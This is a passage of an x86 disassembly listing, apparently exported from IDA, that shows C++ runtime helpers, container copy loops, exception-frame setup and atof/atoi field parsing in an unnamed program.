; =============== S U B R O U T I N E ======================================= sub_13B4D10 proc near ; CODE XREF: sub_13ABDA6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_13B4D30 loc_13B4D21: ; CODE XREF: sub_13B4D10+1Ej push esi mov ecx, edi call sub_13ABCB1 add esi, 4 cmp esi, ebx jnz short loc_13B4D21 loc_13B4D30: ; CODE XREF: sub_13B4D10+Fj pop edi pop esi pop ebx retn 8 sub_13B4D10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_13B4D50: ; CODE XREF: sub_13AC2E7j push 0FFFFFFFFh push offset byte_438AD9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset dword_443940 call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call ??0out_of_range@std@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z lea edx, [esp+14h] push offset dword_43F080 push edx call near ptr 13E0C52h nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4DD0 proc near ; CODE XREF: sub_13AB5EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13B4DD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4DF0 proc near ; CODE XREF: sub_13AB7CFj var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_13B4EBB mov ecx, esi call sub_13AB5F9 cmp edi, eax jnb short loc_13B4E23 mov ecx, esi call sub_13AB5F9 mov ebp, eax jmp short loc_13B4E25 ; --------------------------------------------------------------------------- loc_13B4E23: ; CODE XREF: sub_13B4DF0+26j mov ebp, edi loc_13B4E25: ; CODE XREF: sub_13B4DF0+31j mov ecx, esi call sub_13AB5F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_13AC1CF mov edx, [esp+18h+var_4] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_13AB4CD mov ecx, [esp+24h+var_8] mov [esp+24h+var_C], eax push ecx push edi push eax mov ecx, esi call sub_13AC576 mov edx, [esp+30h+var_18] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+30h+var_1C] push eax push ecx push edx mov ecx, esi call sub_13AB4CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_13ABDA6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_13AB5EF lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_13AB5F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_13B4EBB: ; CODE XREF: sub_13B4DF0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_13B4F19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_13AB4CD mov eax, [esi+8] mov edx, [esp+1Ch] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_13AC576 mov edx, [esp+28h+var_C] mov eax, [esi+8] push edx push eax push ebx call sub_13AC26F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_13B4F19: ; CODE XREF: sub_13B4DF0+D8j test edi, edi jbe short loc_13B4F53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_13AB4CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_13AC4AE mov ecx, [esp+28h] lea edx, [edi+ebx] push ecx push edx push ebx call sub_13AC26F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_13B4F53: ; CODE XREF: sub_13B4DF0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_13B4DF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4FC0 proc near ; CODE XREF: sub_13ABCB1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_13B4FC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4FE0 proc near ; CODE XREF: sub_13AB4CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_13B5012 push edi mov edi, [esp+10h+arg_8] loc_13B4FF6: ; CODE XREF: sub_13B4FE0+27j push esi push edi mov ecx, ebx call sub_13AC521 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_13B4FF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_13B5012: ; CODE XREF: sub_13B4FE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_13B4FE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5030 proc near ; CODE XREF: sub_13AC576j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_13B5057 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_13B5046: ; CODE XREF: sub_13B5030+23j push ebx push esi mov ecx, ebp call sub_13AC521 add esi, 4 dec edi jnz short loc_13B5046 pop esi pop ebx loc_13B5057: ; CODE XREF: sub_13B5030+Aj pop edi pop ebp retn 0Ch sub_13B5030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5070 proc near ; CODE XREF: sub_13AC1CFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AB8CE add esp, 8 retn 8 sub_13B5070 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B50A0 proc near ; CODE XREF: sub_13AC521j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AC1E8 add esp, 8 retn 8 sub_13B50A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B50D0 proc near ; CODE XREF: sub_13AC26Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_13B50ED mov edx, [esp+arg_8] push esi loc_13B50E1: ; CODE XREF: sub_13B50D0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_13B50E1 pop esi locret_13B50ED: ; CODE XREF: sub_13B50D0+Aj retn sub_13B50D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5100 proc near ; CODE XREF: sub_13AC4AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_13B5122 mov eax, [esp+arg_8] push esi loc_13B5111: ; CODE XREF: sub_13B5100+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_13B5111 pop esi retn ; --------------------------------------------------------------------------- loc_13B5122: ; CODE XREF: sub_13B5100+Aj mov eax, [esp+arg_8] retn sub_13B5100 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5160 proc near ; CODE XREF: sub_13AB8CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_13B516A xor eax, eax loc_13B516A: ; CODE XREF: sub_13B5160+6j shl eax, 2 push eax call near ptr 13E0C1Ah add esp, 4 retn sub_13B5160 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5190 proc near ; CODE XREF: sub_13AC1E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13B51AB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13B51AB: ; CODE XREF: sub_13B5190+11j retn sub_13B5190 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B51C0 proc near ; CODE XREF: sub_13AC26Aj mov eax, ecx mov dword ptr [eax], offset dword_43E014 retn sub_13B51C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B51E0 proc near ; CODE XREF: sub_13ABB17j sub_13AC427j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC431 test [esp+4+arg_0], 1 jz short loc_13B51F8 push esi call near ptr 13E0C02h add esp, 4 loc_13B51F8: ; CODE XREF: sub_13B51E0+Dj mov eax, esi pop esi retn 4 sub_13B51E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13B5210 proc near ; CODE XREF: sub_13AC431j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_13B5210 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset dword_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_13ABB44 mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_13B5210 endp ; --------------------------------------------------------------------------- mov eax, 40AE41h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5280 proc near ; CODE XREF: sub_13AB8BAj call sub_13ABB08 jmp sub_13ABBB2 sub_13B5280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B52A0 proc near ; CODE XREF: sub_13ABF18j call sub_13ABA1D jmp sub_13ABBC1 sub_13B52A0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B52C0 proc near ; CODE XREF: sub_13AB7D4j push esi mov esi, ecx push esi push 40141Fh lea eax, [esi+0Ch] push 0 push eax call sub_13AB63A add esp, 10h test eax, eax jnz short loc_13B52E2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_13B52E2: ; CODE XREF: sub_13B52C0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_13B52C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_13B5300: ; CODE XREF: .idata:013AB5C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_13B5327 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_13ABB5D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_13B5327: ; CODE XREF: .idata:013B5309j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5340 proc near ; CODE XREF: sub_13ABB44j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_13B535C mov eax, [esi+0Ch] push 0Fh push eax call sub_13ABB58 add esp, 8 mov byte ptr [esi+10h], 0 loc_13B535C: ; CODE XREF: sub_13B5340+8j pop esi retn sub_13B5340 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5370 proc near ; CODE XREF: sub_13AB5F4j mov eax, [ecx+0Ch] retn sub_13B5370 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13B5390 proc near ; CODE XREF: sub_13AB81Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_13B5390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_13B5390 endp ; --------------------------------------------------------------------------- mov eax, 40AFBEh retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5400 proc near ; CODE XREF: sub_13AB428j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_13B5442 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_13AC58F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_13AB450 add esp, 18h loc_13B5442: ; CODE XREF: sub_13B5400+Bj pop esi add esp, 8 retn sub_13B5400 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5470 proc near ; CODE XREF: sub_13AC1CAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_13B5492 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_13AB450 add esp, 0Ch loc_13B5492: ; CODE XREF: sub_13B5470+6j pop ecx retn sub_13B5470 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B54B0 proc near ; CODE XREF: sub_13ABDF1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_8 = byte ptr -8 var_4 = dword ptr -4 push 0FFFFFFFFh push 438B3Fh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_13ABB49 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_13ABB49 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_13ABFF4 mov ecx, edi mov [esp+20h+var_8], 3 mov dword ptr [esi], offset dword_43E020 call sub_13ABFEF mov ecx, [esp+20h+var_10] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn sub_13B54B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5570 proc near ; CODE XREF: sub_13ABEE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438B8Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset dword_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_13ABFEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_13AB955 lea ecx, [esi+60h] mov byte ptr [esp+18h+var_4], 1 call sub_13AB423 lea ecx, [esi+32h] mov byte ptr [esp+18h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+18h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+18h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 10h retn sub_13B5570 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5610 proc near ; CODE XREF: sub_13ABBEEj var_54 = byte ptr -54h var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 438BC8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_13ABFEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+4Ch+var_48] mov [esp+4Ch+var_10], 0FFFFFFFFh call sub_13AB626 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+6Ch+var_48] push 3 push edx call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+50h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+58h+var_54] mov [esp+58h+var_1C], 0FFFFFFFFh call sub_13AB626 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+78h+var_3C] push 3 push ecx call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+5Ch+var_1C], 2 call sub_13ABBE4 add esi, 60h push eax push esi mov ecx, offset dword_447168 call sub_13AB991 mov [esp+64h+var_28], 0FFFFFFFFh lea ecx, [esp+64h+var_48] call sub_13AB626 mov ecx, [esp+64h+var_30] pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13B5610 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5790 proc near ; CODE XREF: sub_13ABC0Cj var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_13AC3BE mov eax, [esp+0Ch] mov edx, [esp+0Ch+arg_8] push edx lea ecx, [eax+33h] call sub_13AC3BE mov ecx, [esp+10h+var_4] mov dl, byte ptr [esp+10h+arg_8] mov edi, [esp+10h+arg_0] mov [ecx+48h], dl mov eax, [esp+10h+var_4] push edi push eax mov ecx, esi call sub_13AC332 mov ecx, [esp+18h+var_C] mov dl, byte ptr [esp+18h+arg_4] push edi mov [ecx+4], dl mov eax, [esp+1Ch+var_C] mov ecx, [esp+1Ch+arg_8] mov [eax+5], ecx mov ecx, [esp+1Ch+var_C] call sub_13AC3BE lea edx, [esp+1Ch+var_10] lea ecx, [esi+8Eh] push edx call sub_13ABD06 pop edi pop esi retn 1Ch sub_13B5790 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5830 proc near ; CODE XREF: sub_13ABF5Ej var_7C = byte ptr -7Ch var_64 = byte ptr -64h var_5C = byte ptr -5Ch var_4C = byte ptr -4Ch var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push 0FFFFFFFFh push 438BF8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_13ABC61 mov edi, eax mov ecx, [esp+64h+arg_4] mov [esp+64h+var_8], 0 push ecx lea ecx, [esp+68h+var_40] call sub_13ABC61 mov ebp, eax mov edx, [esp+68h] lea ecx, [esp+68h+var_5C] push edx mov [esp+6Ch+var_C], 1 call sub_13ABC61 mov ecx, [esp+6Ch+arg_C] mov edx, [esp+6Ch+arg_8] push ecx mov ecx, [esp+70h+arg_4] push edx mov edx, [esp+74h+var_8] push ecx push edi push ebp push eax push edx mov ecx, esi mov [esp+88h+var_10], 2 call sub_13ABC0C lea ecx, [esp+88h+var_7C] mov byte ptr [esp+88h+var_2C], 1 call sub_13AB626 lea ecx, [esp+88h+var_64] mov byte ptr [esp+88h+var_2C], 0 call sub_13AB626 lea ecx, [esp+88h+var_4C] mov [esp+88h+var_2C], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+88h+var_34] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch sub_13B5830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5920 proc near ; CODE XREF: sub_13ABDCEj var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_13AB93C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_13AB851 mov ecx, [eax] lea edx, [esp+14h+var_8] mov [esp+14h+var_C], ecx push edx mov ecx, esi call sub_13AC071 push eax lea ecx, [esp+1Ch+var_10] call sub_13AB76B test al, al jz short loc_13B59A1 mov edi, [esp+1Ch+var_8] loc_13B5966: ; CODE XREF: sub_13B5920+7Fj push edi lea ecx, [esp+20h+var_14] call sub_13AC35A mov ecx, [eax] add ecx, 1Eh call sub_13AC5AD test eax, eax lea ecx, [esp+20h+var_18] jz short loc_13B59AB call sub_13AB73E lea eax, [esp+20h+var_14] mov ecx, esi push eax call sub_13AC071 push eax lea ecx, [esp+28h+var_1C] call sub_13AB76B test al, al jnz short loc_13B5966 loc_13B59A1: ; CODE XREF: sub_13B5920+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_13B59AB: ; CODE XREF: sub_13B5920+60j call sub_13AC35A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_13B5920 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B59F0 proc near ; CODE XREF: sub_13AB856j var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = dword ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 4 push 0FFFFFFFFh push 438C18h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+24h+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+2Ch+var_24] call sub_13ABC61 mov ecx, [esp+2Ch+arg_0] mov [esp+2Ch+var_8], 0 push ecx push eax mov ecx, esi call sub_13ABDCE lea ecx, [esp+34h+var_30] mov esi, eax mov [esp+34h+var_10], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_18] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 sub_13B59F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5A80 proc near ; CODE XREF: sub_13AB996j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AB9D7 mov ecx, esi call sub_13ABBE4 push eax call atof ; atof fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset dword_443964 call sub_13AB6EE test eax, eax jnz short loc_13B5AD1 mov byte ptr [esi+19h], 1 loc_13B5AD1: ; CODE XREF: sub_13B5A80+4Bj pop esi retn 8 sub_13B5A80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5B00 proc near ; CODE XREF: sub_13AC332j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_13AB9D7 mov ecx, esi call sub_13ABBE4 push eax call atof ; atof fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset dword_443964 call sub_13AB6EE test eax, eax jnz short loc_13B5B55 mov byte ptr [esi+19h], 1 loc_13B5B55: ; CODE XREF: sub_13B5B00+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_13B5B00 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5B90 proc near ; CODE XREF: sub_13AC143j var_C = qword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 fld [esp+arg_4] push esi mov esi, [esp+4+arg_0] sub esp, 8 fstp [esp+0Ch+var_C] push offset dword_44396C push esi call sub_13AB42D mov eax, [esp+14h+arg_4] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_13ABBE4 push eax call atoi ; atoi fld [esp+8+arg_4] fcomp ds:flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_13B5BE1 mov byte ptr [esi+19h], 1 loc_13B5BE1: ; CODE XREF: sub_13B5B90+4Bj pop esi retn 8 sub_13B5B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5C10 proc near ; CODE XREF: sub_13AC094j arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx mov bl, [esp+4+arg_4] test bl, bl push esi jz short loc_13B5C40 mov esi, [esp+8+arg_0] push offset dword_443964 mov ecx, esi call sub_13AB9D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_13B5C40: ; CODE XREF: sub_13B5C10+8j mov esi, [esp+8+arg_0] push offset dword_443970 mov ecx, esi call sub_13AB9D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 sub_13B5C10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5C80 proc near ; CODE XREF: sub_13AC16Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push offset dword_4437F4 push esi call sub_13AB42D fild [esp+14h+arg_4] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_13B5CB0 mov byte ptr [esi+19h], 1 loc_13B5CB0: ; CODE XREF: sub_13B5C80+2Aj pop edi pop esi retn 8 sub_13B5C80 endp ; --------------------------------------------------------------------------- aRrrrrrrrrrrDb db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B5CD0 proc near ; CODE XREF: sub_13ABECDj var_90 = byte ptr -90h var_7C = byte ptr -7Ch var_74 = byte ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_48 = byte ptr -48h var_44 = byte ptr -44h 